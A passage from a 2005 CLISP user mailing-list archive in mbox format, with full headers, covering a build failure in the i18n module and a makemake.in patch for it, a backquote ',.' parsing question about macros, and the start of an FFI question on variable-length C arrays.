-DNO_SIGSEGV -I. -x none genclisph.o -o genclisph (echo '#ifndef _CLISP_H' ; echo '#define _CLISP_H' ; echo; echo '/* unixconf */' ; grep '^#' unixconf.h ) > clisp.h (echo; echo '/* 'intparam.h' */' ; grep '^#' intparam.h ) >> clisp.h (echo; echo '/* 'floatparam.h' */' ; grep '^#' floatparam.h ) >> clisp.h (echo; echo '/* genclisph */' ; ./genclisph clisp-test.c; echo ; echo '#endif /* _CLISP_H */') >> clisp.h writing test file clisp-test.c wrote 148 tests gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -x none -DUSE_CLISP_H=1 -DCOMPILE_STANDALONE clisp-test.c -o clisp-test-clisp gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -x none -DUSE_CLISP_H=0 -DCOMPILE_STANDALONE clisp-test.c -o clisp-test-lispbibl ./clisp-test-clisp > clisp-test-clisp.out ./clisp-test-lispbibl > clisp-test-lispbibl.out cmp clisp-test-clisp.out clisp-test-lispbibl.out rm -f genclisph clisp-test-clisp clisp-test-lispbibl clisp-test-clisp.out clisp-test-lispbibl.out rm -f modprep.lisp ln -s ../utils/modprep.lisp modprep.lisp rm -rf linkkit mkdir linkkit cd linkkit && ln -s ../modules.d modules.d cd linkkit && ln -s ../modules.c modules.c cd linkkit && ln -s ../clisp.h clisp.h cd linkkit && ln -s ../modprep.lisp modprep.lisp (echo 'CC='"'"'gcc'"'" ; echo 'CPPFLAGS='"'"''"'" ; echo 'CFLAGS='"'"'-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I.'"'" ; echo 'CLFLAGS='"'"'-x none'"'" ; echo 'LIBS='"'"'lisp.a libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl '"'" ; echo 'X_LIBS='"'"'-L/usr/X11R6/lib -lX11'"'" ; echo 'RANLIB='"'"'ranlib'"'" ; echo 'FILES='"'"'lisp.a libnoreadline.a libcharset.a libavcall.a libcallback.a '"'") > makevars ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -M lispinit.mem -q -c ../utils/modprep.lisp -o modprep.fas ;; Compiling file /home/dietz/clisp/utils/modprep.lisp ... ;; Wrote file /home/dietz/clisp/build/modprep.fas 0 errors, 0 warnings test -d i18n || ../src/lndir ../modules/i18n i18n if test -f i18n/configure -a '!' -f i18n/config.status ; then cd i18n ; CC="gcc" ./configure --cache-file=`echo i18n/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache ; fi configure: loading cache ../config.cache configure: error: `CC' was not set in the previous run configure: error: changes in the environment can compromise the build configure: error: run `make distclean' and/or `rm ../config.cache' and start over make: *** [i18n] Error 1 Paul From sds@gnu.org Wed Feb 09 06:55:02 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CytF8-00008W-IQ for clisp-list@lists.sourceforge.net; Wed, 09 Feb 2005 06:55:02 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CytF4-0005yt-HK for clisp-list@lists.sourceforge.net; Wed, 09 Feb 2005 06:55:02 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.163]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j19ErW1c009259; Wed, 9 Feb 2005 09:53:32 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A030333E5EA@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Wed, 9 Feb 2005 11:42:31 +0100") References: <5F9130612D07074EB0A0CE7E69FD7A030333E5EA@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Clisp FFI question: variable length arrays returned from C fu nction that are not null terminated Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 9 06:57:04 2005 X-Original-Date: Wed, 09 Feb 2005 09:54:44 -0500 > * Hoehle, Joerg-Cyril [2005-02-09 11:42:31 +0100]: > > > o You can use the FOREIGN-VARIABLE constructor to create the > foreign-variable object out of the foreign-pointer, then apply > WITH-C-PLACE. > > Oddly, this constructor is not documented. I thought I had added it to > CVS?!? -- Sam Steingold (http://www.podval.org/~sds) running w2k To understand recursion, one has to understand recursion first. From sds@gnu.org Wed Feb 09 07:04:11 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CytNz-0000a4-0M for clisp-list@lists.sourceforge.net; Wed, 09 Feb 2005 07:04:11 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CytNy-0007B9-CQ for clisp-list@lists.sourceforge.net; Wed, 09 Feb 2005 07:04:10 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.163]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j19F2dRZ010517; Wed, 9 Feb 2005 10:02:39 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Paul F. Dietz" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Paul F. Dietz's message of "Wed, 09 Feb 2005 08:07:38 -0600") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Paul F. Dietz" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: build failure in i18n Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 9 07:05:26 2005 X-Original-Date: Wed, 09 Feb 2005 10:03:52 -0500 > * Paul F. Dietz [2005-02-09 08:07:38 -0600]: > > configure: loading cache ../config.cache > configure: error: `CC' was not set in the previous run > configure: error: changes in the environment can compromise the build > configure: error: run `make distclean' and/or `rm ../config.cache' and start over > make: *** [i18n] Error 1 this does not happen for me when I do $ ./configure --build ... -- Sam Steingold (http://www.podval.org/~sds) running w2k Fighting for peace is like screwing for virginity. From russell_mcmanus@yahoo.com Wed Feb 09 07:30:43 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cytne-0001o9-L1 for clisp-list@lists.sourceforge.net; Wed, 09 Feb 2005 07:30:42 -0800 Received: from dsl254-123-194.nyc1.dsl.speakeasy.net ([216.254.123.194] helo=cl-user.org) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Cytnd-0000va-6z for clisp-list@lists.sourceforge.net; Wed, 09 Feb 2005 07:30:42 -0800 Received: by cl-user.org (Postfix, from userid 1000) id 08E663B; Wed, 9 Feb 2005 10:30:00 -0500 (EST) To: clisp-list@lists.sourceforge.net From: Russell McManus Message-ID: <87wtthlpjb.fsf@cl-user.org> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Security Through Obscurity, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 3.2 (+++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] weird macro expansion behavior Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 9 07:32:27 2005 X-Original-Date: Wed, 09 Feb 2005 10:30:00 -0500 (defmacro ok (s) (let ((ss (gensym "s"))) `(let ((,ss ,s)) (concatenate 'string ,ss ,ss)))) (ok "foo") (defmacro not-ok (s) (let ((.s (gensym "s"))) `(let ((,.s ,s)) (concatenate 'string ,.s ,.s)))) (not-ok "foo") The "ok" macro seems to do what I expect. "not-ok" on the other hand does not. It is the same as "ok" except that the "ss" symbol has been changed to ".s" . Are my expectations wrong, or is this a clisp bug? (get-macro-character #\.) returns NIL,NIL and so does (get-macro-character #\s), which leads me to believe that a leading dot in a symbol name should not be special. But my understanding of the standard here is spotty at best. -russ From mm3@zepler.net Wed Feb 09 07:46:40 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cyu35-0002nb-V1 for clisp-list@lists.sourceforge.net; Wed, 09 Feb 2005 07:46:39 -0800 Received: from raven.ecs.soton.ac.uk ([152.78.70.1]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cyu34-0003vR-8j for clisp-list@lists.sourceforge.net; Wed, 09 Feb 2005 07:46:39 -0800 Received: from magpie.ecs.soton.ac.uk (magpie.ecs.soton.ac.uk [152.78.68.131]) by raven.ecs.soton.ac.uk (8.12.10/8.12.10) with ESMTP id j19FkIi3005881 for ; Wed, 9 Feb 2005 15:46:18 GMT Received: from login.ecs.soton.ac.uk (IDENT:root@login [152.78.68.162]) by magpie.ecs.soton.ac.uk (8.9.3/8.9.3) with ESMTP id PAA22324 for ; Wed, 9 Feb 2005 15:46:33 GMT Received: (from mm3@localhost) by login.ecs.soton.ac.uk (8.11.6/8.11.6) id j19FkXr18788 for clisp-list@lists.sourceforge.net; Wed, 9 Feb 2005 15:46:33 GMT X-Authentication-Warning: login.ecs.soton.ac.uk: mm3 set sender to mm3@zepler.net using -f From: Marcin Tustin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] weird macro expansion behavior Message-ID: <20050209154633.GA9996@login.ecs.soton.ac.uk> References: <87wtthlpjb.fsf@cl-user.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <87wtthlpjb.fsf@cl-user.org> User-Agent: Mutt/1.4i X-MailScanner-Information: Please contact helpdesk@ecs.soton.ac.uk for more information X-ECS-MailScanner: Found to be clean X-MailScanner-From: mm3@zepler.net X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 9 07:47:50 2005 X-Original-Date: Wed, 9 Feb 2005 15:46:33 +0000 The following tests suggest that this is purely a parsing issue, that ,. is being consumed as a single token: [23]> `(concatenate 'string ,.ss ,.ss) *** - EVAL: variable SS has no value The following restarts are available: STORE-VALUE :R1 You may input a new value for SS. USE-VALUE :R2 You may input a value to be used instead of SS. Break 1 [24]> abort [25]> `(concatenate 'string , .ss , .ss) (CONCATENATE 'STRING "shoes" "shoes") On Wed, Feb 09, 2005 at 10:30:00AM -0500, Russell McManus wrote: > > (defmacro ok (s) > (let ((ss (gensym "s"))) > `(let ((,ss ,s)) > (concatenate 'string ,ss ,ss)))) > > (ok "foo") > > (defmacro not-ok (s) > (let ((.s (gensym "s"))) > `(let ((,.s ,s)) > (concatenate 'string ,.s ,.s)))) > > (not-ok "foo") > > The "ok" macro seems to do what I expect. "not-ok" on the other hand > does not. It is the same as "ok" except that the "ss" symbol has been > changed to ".s" . > > Are my expectations wrong, or is this a clisp bug? > (get-macro-character #\.) returns NIL,NIL and so does > (get-macro-character #\s), which leads me to believe that a leading > dot in a symbol name should not be special. But my understanding of > the standard here is spotty at best. > > -russ > > > ------------------------------------------------------- > SF email is sponsored by - The IT Product Guide > Read honest & candid reviews on hundreds of IT Products from real users. > Discover which products truly live up to the hype. Start reading now. > http://ads.osdn.com/?ad_id=6595&alloc_id=14396&op=click > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list From Joerg-Cyril.Hoehle@t-systems.com Wed Feb 09 07:50:11 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cyu6V-0002vU-6C for clisp-list@lists.sourceforge.net; Wed, 09 Feb 2005 07:50:11 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Cyu6S-00032f-Tv for clisp-list@lists.sourceforge.net; Wed, 09 Feb 2005 07:50:11 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Wed, 9 Feb 2005 16:49:35 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <13M65PWV>; Wed, 9 Feb 2005 16:49:59 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030333E694@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: russell_mcmanus@yahoo.com Subject: Re: [clisp-list] weird macro expansion behavior MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 9 07:52:17 2005 X-Original-Date: Wed, 9 Feb 2005 16:49:58 +0100 Hi, Russell wrote: > `(let ((,.s ,s)) >(get-macro-character #\.) returns NIL,NIL and so does >(get-macro-character #\s), which leads me to believe that a leading >dot in a symbol name should not be special. But , has special backquote syntax and peeks at the ., so ,.s is probably read as ,. s (see backquote). Try it out writing `(let ((, .s ,s)) (untested, i.e. add space between , (backquote) and .s (variable) Sometimes spaces are necessary. Regards, Jorg Hohle From russell_mcmanus@yahoo.com Wed Feb 09 08:56:10 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cyv8J-0006j1-PN for clisp-list@lists.sourceforge.net; Wed, 09 Feb 2005 08:56:07 -0800 Received: from dsl254-123-194.nyc1.dsl.speakeasy.net ([216.254.123.194] helo=cl-user.org) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cyv8I-0003yH-8r for clisp-list@lists.sourceforge.net; Wed, 09 Feb 2005 08:56:07 -0800 Received: by cl-user.org (Postfix, from userid 1000) id 316753B; Wed, 9 Feb 2005 11:55:25 -0500 (EST) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] weird macro expansion behavior References: <5F9130612D07074EB0A0CE7E69FD7A030333E694@S4DE8PSAAGS.blf.telekom.de> From: Russell McManus In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A030333E694@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Wed, 9 Feb 2005 16:49:58 +0100") Message-ID: <87sm45llky.fsf@cl-user.org> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Security Through Obscurity, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 3.1 (+++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 9 08:58:10 2005 X-Original-Date: Wed, 09 Feb 2005 11:55:25 -0500 "Hoehle, Joerg-Cyril" writes: > Hi, > Russell wrote: >> `(let ((,.s ,s)) >>(get-macro-character #\.) returns NIL,NIL and so does >>(get-macro-character #\s), which leads me to believe that a leading >>dot in a symbol name should not be special. > > But , has special backquote syntax and peeks at the ., so ,.s is probably read as ,. s (see backquote). > > Try it out writing `(let ((, .s ,s)) > (untested, i.e. add space between , (backquote) and .s (variable) > > Sometimes spaces are necessary. Thanks for your help. You are of course correct about the problem that I was encountering. I tend to think that ,expr is shorthand for (quote expr) as it is in scheme in which case the space should not be required. Of course this isomorphism is not required in Lisp. -russ From russell_mcmanus@yahoo.com Wed Feb 09 10:51:58 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CywwP-0005by-QX for clisp-list@lists.sourceforge.net; Wed, 09 Feb 2005 10:51:57 -0800 Received: from dsl254-123-194.nyc1.dsl.speakeasy.net ([216.254.123.194] helo=cl-user.org) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CywwN-0008Aq-7t for clisp-list@lists.sourceforge.net; Wed, 09 Feb 2005 10:51:57 -0800 Received: by cl-user.org (Postfix, from userid 1000) id 896B63B; Wed, 9 Feb 2005 13:51:12 -0500 (EST) To: clisp-list@lists.sourceforge.net References: <5F9130612D07074EB0A0CE7E69FD7A030333E694@S4DE8PSAAGS.blf.telekom.de> <87sm45llky.fsf@cl-user.org> From: Russell McManus In-Reply-To: <87sm45llky.fsf@cl-user.org> (Russell McManus's message of "Wed, 09 Feb 2005 11:55:25 -0500") Message-ID: <87oeetlg7z.fsf@cl-user.org> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Security Through Obscurity, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 3.2 (+++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] Re: weird macro expansion behavior Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 9 10:53:12 2005 X-Original-Date: Wed, 09 Feb 2005 13:51:12 -0500 Russell McManus writes: > "Hoehle, Joerg-Cyril" writes: > >> Hi, >> Russell wrote: >>> `(let ((,.s ,s)) >>>(get-macro-character #\.) returns NIL,NIL and so does >>>(get-macro-character #\s), which leads me to believe that a leading >>>dot in a symbol name should not be special. >> >> But , has special backquote syntax and peeks at the ., so ,.s is probably read as ,. s (see backquote). >> >> Try it out writing `(let ((, .s ,s)) >> (untested, i.e. add space between , (backquote) and .s (variable) >> >> Sometimes spaces are necessary. > > Thanks for your help. You are of course correct about the problem that > I was encountering. > > I tend to think that ,expr is shorthand for (quote expr) as it is in > scheme in which case the space should not be required. Of course this > isomorphism is not required in Lisp. should read: > I tend to think that ,expr is shorthand for (unquote expr) as it is in -russ From sds@gnu.org Thu Feb 10 07:06:37 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CzFtp-0004c8-UK for clisp-list@lists.sourceforge.net; Thu, 10 Feb 2005 07:06:33 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CzFtl-0003k7-8t for clisp-list@lists.sourceforge.net; Thu, 10 Feb 2005 07:06:33 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.163]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j1AF46TW017189; Thu, 10 Feb 2005 10:04:06 -0500 (EST) To: "Paul F. Dietz" Cc: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <420ABF6C.7060709@dls.net> (Paul F. Dietz's message of "Wed, 09 Feb 2005 19:57:00 -0600") References: <420ABF6C.7060709@dls.net> Mail-Followup-To: "Paul F. Dietz" , clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: build failure in i18n Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 10 07:07:40 2005 X-Original-Date: Thu, 10 Feb 2005 10:05:17 -0500 > * Paul F. Dietz [2005-02-09 19:57:00 -0600]: > > Sam Steingold wrote: >>>* Paul F. Dietz [2005-02-09 08:07:38 -0600]: >>> >>>configure: loading cache ../config.cache >>>configure: error: `CC' was not set in the previous run >>>configure: error: changes in the environment can compromise the build >>>configure: error: run `make distclean' and/or `rm ../config.cache' and start over >>>make: *** [i18n] Error 1 >> this does not happen for me when I do >> $ ./configure --build ... > > --build? I followed instructions in unix/INSTALL and did this: see item "12" in unix/INSTALL. > ... and see the problem in the final make. please try the appended patch. -- Sam Steingold (http://www.podval.org/~sds) running w2k Yeah, yeah, I love cats too... wanna trade recipes? --- makemake.in 29 Jan 2005 14:52:49 -0500 1.511 +++ makemake.in 10 Feb 2005 10:02:57 -0500 @@ -3238,7 +3238,7 @@ # Some "make"s don't support empty target lists. Hence the "anymodule". echol "anymodule \$(BASE_MODULES) \$(MODULES) : lisp${LEXE} lispinit.mem force modprep.fas clisp.h" echotab "test -d \$@ || ${SRCDIR:-${HERE}}lndir ${SRCTOPDIR_}modules/\$@ \$@" -echotab "if test -f \$@/configure -a '!' -f \$@/config.status ; then cd \$@ ; CC=\"\$(CC)\" ./configure --cache-file="'`'"echo \$@/ | sed -e 's,[^/][^/]*//*,../,g'"'`'"config.cache ; fi" +echotab "if test -f \$@/configure -a '!' -f \$@/config.status ; then cd \$@ ; ( cache="'`'"echo \$@/ | sed -e 's,[^/][^/]*//*,../,g'"'`'"config.cache; . \$\${cache}; test \"\$\${ac_cv_env_CC_set}\" = set && export CC=\"\$\${ac_cv_env_CC_value}\"; ./configure --cache-file=\$\${cache} ) ; fi" EVERY_INCLUDES_DOTS_C='' for f in $EVERY_INCLUDES_C $EVERY_INCLUDES_H ; do EVERY_INCLUDES_DOTS_C=$EVERY_INCLUDES_DOTS_C' $${dots}'$f From jwebsmall@cox.net Thu Feb 10 06:46:09 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CzFa5-0003aJ-Jf for clisp-list@lists.sourceforge.net; Thu, 10 Feb 2005 06:46:09 -0800 Received: from lakermmtao04.cox.net ([68.230.240.35]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CzFa2-0001dT-T5 for clisp-list@lists.sourceforge.net; Thu, 10 Feb 2005 06:46:09 -0800 Received: from rogareals8gkwt ([70.177.171.244]) by lakermmtao04.cox.net (InterMail vM.6.01.04.00 201-2131-117-20041022) with SMTP id <20050210144559.EJWF23636.lakermmtao04.cox.net@rogareals8gkwt> for ; Thu, 10 Feb 2005 09:45:59 -0500 Message-ID: <00ab01c50f7f$386abe30$c00fa8c0@rogareals8gkwt> From: "John Small" To: MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] FFI and variable length arrays Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 10 08:15:30 2005 X-Original-Date: Thu, 10 Feb 2005 09:45:52 -0500 Clisp FFI question: variable length arrays returned from C function that are not null terminated Problem: I'm trying to use CLisp FFI with a C function that returns a pointer to a variant length array of strings (i.e. char *) but the array is not null terminated. I've distilled the essense of my problem down to the example below calling out to "foo". FYI the real problem involves interfacing to MySQL's mysql_fetch_row which returns a non terminated array of column values. And SQL NULL values unfortunately are returned a NULL pointers to boot further complicating the issue. The number of columns are returned by a separate function: mysql_num_fields and unfortunately there is no other function in the API such as mysql_fetch_field_value() which would allow me to work around the problem. I've written a simple DBI/DBD wrapper including ODBC (which works) and 